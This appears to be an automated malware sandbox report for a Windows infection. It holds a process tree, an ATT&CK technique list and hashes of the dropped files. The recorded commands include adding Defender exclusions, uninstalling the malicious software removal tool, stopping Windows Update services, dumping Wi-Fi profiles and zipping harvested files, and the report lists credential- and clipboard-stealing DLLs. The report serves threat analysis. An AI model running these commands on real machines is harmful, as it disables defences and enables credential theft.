- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main2⤵
- Loads dropped DLL
-
C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\netsh.exenetsh wlan show profiles4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\968772205171_Desktop.zip' -CompressionLevel Optimal4⤵
-
C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe"C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"3⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main2⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\ProgramData\wikombernizc\reakuqnanrkn.exeC:\ProgramData\wikombernizc\reakuqnanrkn.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exeC:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exeC:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe1⤵
- Executes dropped EXE
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exeC:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exeC:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exeC:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exeC:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v13
Persistence
Create or Modify System Process
4Windows Service
4Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Create or Modify System Process
4Windows Service
4Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Defense Evasion
Modify Registry
7Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
5Disable or Modify Tools
3Disable or Modify System Firewall
1Virtualization/Sandbox Evasion
2Subvert Trust Controls
1Install Root Certificate
1Credential Access
Unsecured Credentials
5Credentials In Files
4Credentials in Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\mozglue.dllFilesize
593KB
MD5c8fd9be83bc728cc04beffafc2907fe9
SHA195ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-indexFilesize
360B
MD57f92b1350791dfc6545fe1c827337d69
SHA1bb2dbd4073a52646f8662da1a772b71aada60278
SHA256d9654bf89b758a00056798e4f44c9877c26bf3322c122221b63378ddce186307
SHA512e9f8072fcdd75fa3ec5730a19a4076f2e27c1570169fb5925fd859e8e9f3df94be515425de782d94d783459af861d7bf28b30043d247ad8d981cfc3e1a0b95db
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesFilesize
20KB
MD59bb9fe4abc19d0a952f845107ea7263f
SHA1968eac93e76bbd40b4e20a6414e3de8236519848
SHA2568678aa057f9a6fbc36532229bf2f53cfa3237003978cbc389fefa46ce1021e83
SHA512abe44315f3dfbf423c48f5984dae041b39451118be532a96f635b916b6c119b70f90b011930aa4d84a4606ac2f72a7f08f6b714d35b4a1126b0f3981bcd2c085
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent StateFilesize
2KB
MD53ea5e9ef58bd7edafec950c75cac8647
SHA17deda1742ee0bab535caa2f9ccde2a9fa653bd06
SHA256bc29b015dee606b3e1a2262db7d1510ff7f3a8afaf51121905dee63acceff87c
SHA512e665e6ceb839614ae1c475c3b36d274c34ce27ad2c0dde8ec879914ae6b493e07b4bec98d9ede24da7bc797511c8d6f39a403e44a8254c7fdc4f9599392b597e
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurityFilesize
537B
MD53f338424eab4fd5f73f4e14652bf35dc
SHA1b4ddb8d495f7e3b0c30fe7f17b24532fb0281aa1
SHA2565f90d9fdc9d78bf92dd174a1b8e6d98418997a9b0ffbf9d149d0adc4c74967f5
SHA5126c1b6c188296918a1cb1d4451a06f99f27facdb09539036b0cc396f4d511b81fa18c96eb4e8c82fa1fa20d7a8c50d7d1a63e06c83abb396d98699fb1146c98ac
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurityFilesize
537B
MD5c9c01581b8160117d0217e26306eb8bf
SHA11b50950a18ac050d31ca4eb5e6018cdb7d9d8455
SHA256d3621ae86383b9fdb85f1be16e756ac6690674f56a7e81492a7a52319fda872c
SHA5126ef2504a4e2241aebddaf9fe914aad6dda795f4498ec29d5336247bd4a32b0c121d704676602d4c8f8405a90a05a45d64d1976afd3ee85c54876199af0c244af
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurityFilesize
537B
MD5ea9aff6d67335f912f209bd7af3ea624
SHA10e4b8ee8aecc1dd4419c1c9ba242f9e2417d41c1
SHA2562c5da67e10f0b5ed064a8b1e0ab39a3dc52572763664127fba71be152cf019a4
SHA512b52ab9a92caa004f5a4213800405839cfbeb544c014d492353dcf976963d2e6c6cb357d9a5490359b368522f79000c9c31083479fcfca4e53cbdb79835129222
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\PreferencesFilesize
6KB
MD55959bf3f55fb91308b129564568a6d93
SHA19df101839426dbbef4e5a797d9aba72953e3b5a2
SHA2566f9e8b87545d26417870e6498b999e26de98e0a75586299e249cdd4ca04ed899
SHA512723d49c6a58a9827f34c4cf584c9ee671d8cb163e7fd2532075e572319c4e6a290ed262522db5da308e880e42396069b2a02bf9e1c3c9c47e40be52c9d0fd9de
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure PreferencesFilesize
15KB
MD5ad924d787de0b67420f76be5d09ffa73
SHA18fe0cc53932b9b97a54c984f1bdc0c90a47aa717
SHA256e55e3b33a92966f1d38ebbc818650c20a0e8e39c8a5358dec3ab2800a0174c14
SHA512cd2b031c97cdb5c686210a0862e2dac8a3cfbb0b8b3ae37cee7f808c9aebe652860243135cdccafbc346608714bcaf68eac149441e4323ccef8fbb5d93353ac9
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local StateFilesize
137KB
MD53ec975217a7b0c88ffcb2d5cba618717
SHA11be4f9fe0b473de3b8346e378e7e401ee1e29eda
SHA25699086e161ecec47bf258309256ae3072912a46274ab58adcb8b1f1cc596c0322
SHA51249eca3878810e546423316820245f8b01327e4aeda136c3a54de63a41f1fabe2461bc57f9e95004a5b2c3becbd9cdae3a7ea6b69c4f878e59db5a96435be51e0
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local StateFilesize
274KB
MD56aabba673f368f50f4a086342b5ff774
SHA1c6124d7fd5f2ea62613e213f87c12f59293a328a
SHA256d1a36ae17c019668177a17bb446dddc751e8b8ba4403ac18e75283c1394ff3e5
SHA512733bca2a5489f1cb1d04646f6854449075f048a22c31fd82b3a9006f434201a4256a8913cb38aeeaddf68f79b06d2ce18e3e1ef66f9ea8de3179e72a345fac54
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local StateFilesize
310KB
MD52630a8d8352a812890ab39ed2a0b7ace
SHA18a94de63e56186305f480d05ab0fb704e7cf2e65
SHA25692550bfa051e2b04454626e2f6f1699244d7245973b06c2e02f6e0b16e670db7
SHA5126cf0de7f2f77fe7ef57be780641232edde308b62767a8951dffe96a28a91cf0fd74d29527c84256f9cf53bfbaca4c5f0fa804cab759ae91e465b8efdfcb3e9c6
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.jsonFilesize
2B
MD599914b932bd37a50b983c5e7c90ae93b
SHA1bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA25644136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
SHA51227c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
-
C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exeFilesize
2.9MB
MD53c4127b40346e1bfcc2df12b027d120a
SHA10f9a40b9aa9035c09153a9a47135425ea1250bd4
SHA256b3913ee6a28e6ca1f3d226ff1f7d2c68028bb9f7c16b82105475e7155224668a
SHA51292d22cf914b9c5c8c5448bb5df97bec499d028d051ce3018f81181ac624a2311c29531d446d40a2ae846294c0b5aab8a3d956bcf7354dd1c30d201d83aa00209
-
C:\Users\Admin\AppData\Local\Temp\1000055001\1854307fae.exeFilesize
1.1MB
MD509120962fea94b32a79b8090513783a7
SHA1679c68326a9aee2d95d36b90dd192fc808651cc0
SHA256b9c8b39afb1f568ad99abb273693af4aa053c3ff36c785a08007b26018d70818
SHA5120b5bb68cd7c784918ea04ded213ac3dc67ecdf2650aba96fc08ceaba2010e694a3d9132e0cfd503acb5c0e93ba42209f4e1d0d7e64c5f2e537c6eba63c5c05f8
-
C:\Users\Admin\AppData\Local\Temp\1000056001\83495a94e8.exeFilesize
2.3MB
MD569eea6da5a972f99322787e2e1ddcee6
SHA18e8e9a999e06b2def82dae7437bc05a23db8fe94
SHA2567cac339733c031b7c81290794a2e56f1894ff81d7db3f920d43e9da76ffb042b
SHA512f41e06a426bff8f0756916546533f80af5b439fc13bd711411ed21715fd7d0cdaf2708c1bc55f20c962cd8919bd829588c672cb955b3191b7aef2a2c2d7c3123
-
C:\Users\Admin\AppData\Local\Temp\1000059001\amert.exeFilesize
1.9MB
MD542ad64483405b6ce53c4966870c902ec
SHA1c21642320252e799c8fdb2b88acf177254dccacf
SHA256e5fb190cb34afa45533f59258b8415cd2788042a5e7b83b2c1560c0189b3a521
SHA51262624070f30d2095ff53c0dee499c77f00e45c1c251a64cf18f7b885742ea0c5a0f4b931a01ecdbb10303be4763f6e7eb7d315ce13e2b8947df2d7ccbc0c2db0
-
C:\Users\Admin\AppData\Local\Temp\1000147001\swiiiii.exeFilesize
321KB
MD51c7d0f34bb1d85b5d2c01367cc8f62ef
SHA133aedadb5361f1646cffd68791d72ba5f1424114
SHA256e9e09c5e5d03d21fca820bd9b0a0ea7b86ab9e85cdc9996f8f1dc822b0cc801c
SHA51253bf85d2b004f69bbbf7b6dc78e5f021aba71b6f814101c55d3bf76e6d058a973bc58270b6b621b2100c6e02d382f568d1e96024464e8ea81e6db8ccd948679d
-
C:\Users\Admin\AppData\Local\Temp\1000148001\alexxxxxxxx.exeFilesize
1.7MB
MD585a15f080b09acace350ab30460c8996
SHA13fc515e60e4cfa5b3321f04a96c7fb463e4b9d02
SHA2563a2006bc835a8ffe91b9ee9206f630b3172f42e090f4e8d90be620e540f5ef6b
SHA512ade5e3531dfa1a01e6c2a69deb2962cbf619e766da3d6e8e3453f70ff55ccbcbe21381c7b97a53d67e1ca88975f4409b1a42a759e18f806171d29e4c3f250e9f
-
C:\Users\Admin\AppData\Local\Temp\1000149001\gold.exeFilesize
488KB
MD582053649cadec1a338509e46ba776fbd
SHA16d8e479a6dc76d54109bb2e602b8087d55537510
SHA25630468f8b767772214c60a701ecfee11c634516c3e2de146cd07638ea00dd0b6e
SHA512e4b2b219483477a73fec5a207012f77c7167bf7b7f9adcb80ee92f87ddfe592a0d520f2afee531d1cce926ef56da2b065b13630a1cc171f48db8f7987e10897a
-
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exeFilesize
418KB
MD50099a99f5ffb3c3ae78af0084136fab3
SHA10205a065728a9ec1133e8a372b1e3864df776e8c
SHA256919ae827ff59fcbe3dbaea9e62855a4d27690818189f696cfb5916a88c823226
SHA5125ac4f3265c7dd7d172284fb28c94f8fc6428c27853e70989f4ec4208f9897be91720e8eee1906d8e843ab05798f3279a12492a32e8a118f5621ac5e1be2031b6
-
C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exeFilesize
304KB
MD58510bcf5bc264c70180abe78298e4d5b
SHA12c3a2a85d129b0d750ed146d1d4e4d6274623e28
SHA256096220045877e456edfea1adcd5bf1efd332665ef073c6d1e9474c84ca5433f6
SHA5125ff0a47f9e14e22fc76d41910b2986605376605913173d8ad83d29d85eb79b679459e2723a6ad17bc3c3b8c9b359e2be7348ee1c21fa2e8ceb7cc9220515258d
-
C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exeFilesize
158KB
MD5586f7fecacd49adab650fae36e2db994
SHA135d9fb512a8161ce867812633f0a43b042f9a5e6
SHA256cf88d499c83da613ad5ccd8805822901bdc3a12eb9b15804aeff8c53dc05fc4e
SHA512a44a2c99d18509681505cf70a251baf2558030a8648d9c621acc72fafcb2f744e3ef664dfd0229baf7c78fb72e69f5d644c755ded4060dcafa7f711d70e94772
-
C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exeFilesize
3.3MB
MD5b9882fe8bb7ab2a4d094f9ff5442df1c
SHA1e17c146530a4371e0595c195c24863935a3dee8b
SHA2564f47d84b03f5cfa3845d1b36df5e40df984756fc6ba2d98586eb39dced212628
SHA512bee33d43deb43854975e6c7a57f27ab8c6519ea3e6df51297ca670ac62831f29f6a18eff0bb0af14f9e985ebf9e2169ed97582fa64998cfb33b1d8b61ec72db4
-
C:\Users\Admin\AppData\Local\Temp\1000211001\ISetup8.exeFilesize
414KB
MD554a03236a463e61572b8098d37944f15
SHA16279b885b11630156b8554f5aac5b5720b5b6238
SHA256562bbfb4dcfdc559641f3a83f0de7323d60220e94bb46e85de889475fb643333
SHA512bfc15816cb1ddc33c6525d0d94305871d4a1d51b225c49273289745ba7269881131c1df587703f0a96d79199a1424ce2fc90f36a57267fe3ca0fa07cfe540695
-
C:\Users\Admin\AppData\Local\Temp\1000212001\toolspub1.exeFilesize
283KB
MD5ace2b92a3208dec19577cbac84d543b2
SHA1c40b8908ebbfa819c3581ec85bfca66bca77b605
SHA2561d5fe89aae579ea253d121deb90c9a61f94ddab13ff51f58f939a57f0edab73e
SHA512e7e6244087d993ae9beac2fba78452c3eb55f52cbcf515a5888e6078d87f235f1f54c12408eb4d0457102d22a8aa18d069dda0788cce72b0b456a74f7439459f
-
C:\Users\Admin\AppData\Local\Temp\1000213001\4767d2e713f2021e8fe856e3ea638b58.exeFilesize
4.2MB
MD51c480386f3a4a56142b7a140590865de
SHA1a2ac30674033c69e96fff4abe4a9693d1713ed75
SHA2560f5ff3c62f03a74c17111cfd684520f46e09371ee861edcba67370fc92800d43
SHA512609fff5db8a0b565dc52a1828677848a4b7691ed51b9312f35171d36cd2342f75976ca4c991c3c3a46fb0402f848f86af12cda7dca1bac98400b6cd4983f34d4
-
C:\Users\Admin\AppData\Local\Temp\1000214001\FirstZ.exeFilesize
2.5MB
MD5ffada57f998ed6a72b6ba2f072d2690a
SHA16857b5f0c40a1cdb0411eb34aa9fe5029bcdb84f
SHA256677f393462e24fb6dba1a47b39e674f485450f91deee6076ccbad9fd5e05bd12
SHA5121de77f83a89935bb3fc3772d5190c3827d76a998785d451e2c0d11a0061cfd28f1b96eccb41b012c76ddda2021e3333a0a647489ae3c6dac10cfb8302abdf33f
-
C:\Users\Admin\AppData\Local\Temp\1000215001\Uni400uni.exeFilesize
556KB
MD5e1d8325b086f91769120381b78626e2e
SHA10eb6827878445d3e3e584b7f08067a7a4dc9e618
SHA256b925abb193e7003f4a692064148ffe7840096022a44f4d5ae4c0abb59a287934
SHA512c8c0b424c2ed7ee598997bdc0b0d2099b650a280903716891b0eaa340acf556c0642d921fcb7f654387a4a1f1ec4a32feaf8d872b51ca482a977f11e2974072c
-
C:\Users\Admin\AppData\Local\Temp\1000217001\AppGate2103v01_16.exeFilesize
5.4MB
MD509567a19fa958357b14baf7841aa959c
SHA1be50017f35f7a24e91dd3f9be7367939b3c6f681
SHA256efc1ed06c96dfe3ed1a4c3944b02282c21a881b8227d1e4297eb56f716cd09b8
SHA5123e02e5ca0435b921ed4199f3314bb3ea1316aa58dc02bd6bb322c14d13157b504a71f6c746f28137de6ed5e504dc178dd2f999e2009b4b5725419cffd88e0019
-
C:\Users\Admin\AppData\Local\Temp\Tmp86A0.tmpFilesize
2KB
MD51420d30f964eac2c85b2ccfe968eebce
SHA1bdf9a6876578a3e38079c4f8cf5d6c79687ad750
SHA256f3327793e3fd1f3f9a93f58d033ed89ce832443e2695beca9f2b04adba049ed9
SHA5126fcb6ce148e1e246d6805502d4914595957061946751656567a5013d96033dd1769a22a87c45821e7542cde533450e41182cee898cd2ccf911c91bc4822371a8
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jeohfvy4.cah.ps1Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
C:\Users\Admin\AppData\Local\Temp\c3026c38Filesize
3.8MB
MD513418f74a7ce25cdd6997c9fcb718a0e
SHA1f4c880821fee72c37c882b1e8ebf100efcafe31c
SHA256a890935a36903669f35522c85c75e296404a4595453f060398cb64c5b0d6dfd0
SHA51259017162877bbbdf823450a946e3e54e9130d8ebbf5baba24471c68a10d1fad3452be08c693cd7a78d0bf2fcfd6d3086edeec1a379f9b53fd66bb246c128d4c1
-
C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txtFilesize
2KB
MD5f0da01044c03cbb9e6255bb131f95fe4
SHA19a41398be000836bdece14b0ba3a4f3046f56ffd
SHA256f32ab05dddd44ae98947ea0b81e7a5fa62274707211e1feac1ff5882e9c10ff6
SHA512b9c03b751d25abac9c1a812eaad382d55c751d022fa74c15cf88098e7703349fc342dc4db5633b64d2dfe163225e273b719997d84bd626c290c6b3a5c0d11dc7
-
C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txtFilesize
3KB
MD57e8d43167d9e91e667ac1ab386b3f6b9
SHA178227b581c301d7a4f11e66150c78e40f1b39f8d
SHA256fc46db12f822374b3a25c877fa6247aa544443c27b87d86a02f8fe7d0216d5da
SHA512e5f5e6896ee450607a748092eb2ed5470e066064e8d5b4181930728b0927264d38a006f7692027059b6f2d3e2ecea2cd1ff316166fa84b67b523cbc2cae7e741
-
C:\Users\Admin\AppData\Local\Temp\tmpBE1D.tmpFilesize
46KB
MD502d2c46697e3714e49f46b680b9a6b83
SHA184f98b56d49f01e9b6b76a4e21accf64fd319140
SHA256522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9
SHA51260348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac
-
C:\Users\Admin\AppData\Local\Temp\tmpBE4E.tmpFilesize
92KB
MD5f0764eecc2d52e7c433725edd7f6e17a
SHA12b6c1165e7ca5c433b29db548ac2624037c8cb38
SHA2566764736d2bd111036bea0eeb890cd75a5bb4114275abfffe615d9f79049f0ffc
SHA5123cb2f0abc6925907488de7ecef46d60106efb98cec3c63e24e531bbf94dcd8c89ad57e0a88084eaa5083265f32134e6636f23808622db5cb3f5c83faaba96ef0
-
C:\Users\Admin\AppData\Local\Temp\u4n4.0.exeFilesize
270KB
MD551627ffc0192dd8143c0c0208392166d
SHA1dba1a938466fd61f41198400e2a899fa43819d7e
SHA2563200fac8ca4eb6abba8e97221ee8e74f68edc6385b02bb5d04adb57e32432b6b
SHA512f92f5d1f598480a34f5bad1a58de59b7c11e9311ee64147c33fedc2889f9184f91e0e02237c2eff6a5efa02543a87d36c99c34ff2b361fca8bd5d8a3baa6025b
-
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3968772205-1713802336-1776639840-1000\76b53b3ec448f7ccdda2063b15d2bfc3_f4fe33a0-f73d-4d5c-8730-deeef20ef238Filesize
2KB
MD5e23f7826038ca8ad7997c51db56533eb
SHA14030911dc97fe67ce2d0a9fc6b5e901a166b2f60
SHA2561d70eb60e908c033735ab5002e4a0dce708744241e80e9cc4ad55be6e19f97c9
SHA51205fc2ef93b88e31b563f6340ee535f1a11bab199584a1988b81411957f27906157ca3f6caeee0d30f95af3ffe34db91f03d90ea6c8f7fa4e577c0f54daadf4c9
-
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dllFilesize
109KB
MD5726cd06231883a159ec1ce28dd538699
SHA1404897e6a133d255ad5a9c26ac6414d7134285a2
SHA25612fef2d5995d671ec0e91bdbdc91e2b0d3c90ed3a8b2b13ddaa8ad64727dcd46
SHA5129ea82e7cb6c6a58446bd5033855947c3e2d475d2910f2b941235e0b96aa08eec822d2dd17cc86b2d3fce930f78b799291992408e309a6c63e3011266810ea83e
-
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dllFilesize
1.2MB
MD515a42d3e4579da615a384c717ab2109b
SHA122aeedeb2307b1370cdab70d6a6b6d2c13ad2301
SHA2563c97bb410e49b11af8116feb7240b7101e1967cae7538418c45c3d2e072e8103
SHA5121eb7f126dccc88a2479e3818c36120f5af3caa0d632b9ea803485ee6531d6e2a1fd0805b1c4364983d280df23ea5ca3ad4a5fca558ac436efae36af9b795c444
-
C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dllFilesize
109KB
MD5154c3f1334dd435f562672f2664fea6b
SHA151dd25e2ba98b8546de163b8f26e2972a90c2c79
SHA2565f431129f97f3d56929f1e5584819e091bd6c854d7e18503074737fc6d79e33f
SHA5121bca69bbcdb7ecd418769e9d4befc458f9f8e3cee81feb7316bb61e189e2904f4431e4cc7d291e179a5dec441b959d428d8e433f579036f763bbad6460222841
-
C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dllFilesize
1.2MB
MD5f35b671fda2603ec30ace10946f11a90
SHA1059ad6b06559d4db581b1879e709f32f80850872
SHA25683e3df5bec15d5333935bea8b719a6d677e2fb3dc1cf9e18e7b82fd0438285c7
SHA512b5fa27d08c64727cef7fdda5e68054a4359cd697df50d70d1d90da583195959a139066a6214531bbc5f20cd4f9bc1ca3e4244396547381291a6a1d2df9cf8705
-
C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exeFilesize
541KB
MD51fc4b9014855e9238a361046cfbf6d66
SHA1c17f18c8246026c9979ab595392a14fe65cc5e9f
SHA256f38c27ecbeed9721f0885d3b2f2f767d60a5d1c0a5c98433357f570987da3e50
SHA5122af234cac24ec4a508693d9affa7f759d4b29bb3c9ddffd9e6350959fd4da26501553399d2b02a8eeae8dace6bfe9b2ce50462ce3c6547497f5b0ea6ed226b12
-
C:\Users\Admin\AppData\Roaming\configurationValue\propro.exeFilesize
304KB
MD5cc90e3326d7b20a33f8037b9aab238e4
SHA1236d173a6ac462d85de4e866439634db3b9eeba3
SHA256bd73ee49a23901f9fb235f8a5b29adc72cc637ad4b62a9760c306900cb1678b7
SHA512b5d197a05a267bf66509b6d976924cd6f5963532a9f9f22d1763701d4fba3dfa971e0058388249409884bc29216fb33a51846562a5650f81d99ce14554861521
-
C:\Users\Admin\Pictures\TW4BwDKaHhx2m73QyQK6RLzn.exeFilesize
7KB
MD55b423612b36cde7f2745455c5dd82577
SHA10187c7c80743b44e9e0c193e993294e3b969cc3d
SHA256e0840d2ea74a00dcc545d770b91d9d889e5a82c7bedf1b989e0a89db04685b09
SHA512c26a1e7e96dbd178d961c630abd8e564ef69532f386fb198eb20119a88ecab2fe885d71ac0c90687c18910ce00c445f352a5e8fbf5328f3403964f7c7802414c
-
C:\Users\Public\Desktop\Google Chrome.lnkFilesize
2KB
MD55a9ee0498768cfcc5c61516fc5d780cd
SHA19ca59745b147d36da00237f6fed755738f5c759b
SHA256bde6e40a986984ed4dbfa69316c684b3ea2d5682ef6a66f34e9c0e0bfddfe3e5
SHA512275ee6966195d4ac0371a63de36e460936a706a1bbe80b815b6516eaa175227513a6158be0b72accddb3d1f303439d591e34776c3eda9b658d7e5fcbb5a9c6ed
-
C:\Windows\System32\GroupPolicy\gpt.iniFilesize
127B
MD58ef9853d1881c5fe4d681bfb31282a01
SHA1a05609065520e4b4e553784c566430ad9736f19f
SHA2569228f13d82c3dc96b957769f6081e5bac53cffca4ffde0ba1e102d9968f184a2
SHA5125ddee931a08cfea5bb9d1c36355d47155a24d617c2a11d08364ffc54e593064011dee4fea8ac5b67029cab515d3071f0ba0422bb76af492a3115272ba8feb005
-
\??\pipe\crashpad_1636_BJMIAVZNBPCCHSNUMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
memory/60-376-0x0000000000880000-0x0000000000E45000-memory.dmpFilesize
5.8MB
-
memory/60-351-0x0000000000880000-0x0000000000E45000-memory.dmpFilesize
5.8MB
-
memory/60-103-0x0000000004AD0000-0x0000000004AD1000-memory.dmpFilesize
4KB
-
memory/60-104-0x0000000004AB0000-0x0000000004AB1000-memory.dmpFilesize
4KB
-
memory/60-101-0x0000000004A60000-0x0000000004A61000-memory.dmpFilesize
4KB
-
memory/60-102-0x0000000004AC0000-0x0000000004AC1000-memory.dmpFilesize
4KB
-
memory/60-99-0x0000000004AE0000-0x0000000004AE1000-memory.dmpFilesize
4KB
-
memory/60-108-0x0000000004A50000-0x0000000004A51000-memory.dmpFilesize
4KB
-
memory/60-364-0x0000000000880000-0x0000000000E45000-memory.dmpFilesize
5.8MB
-
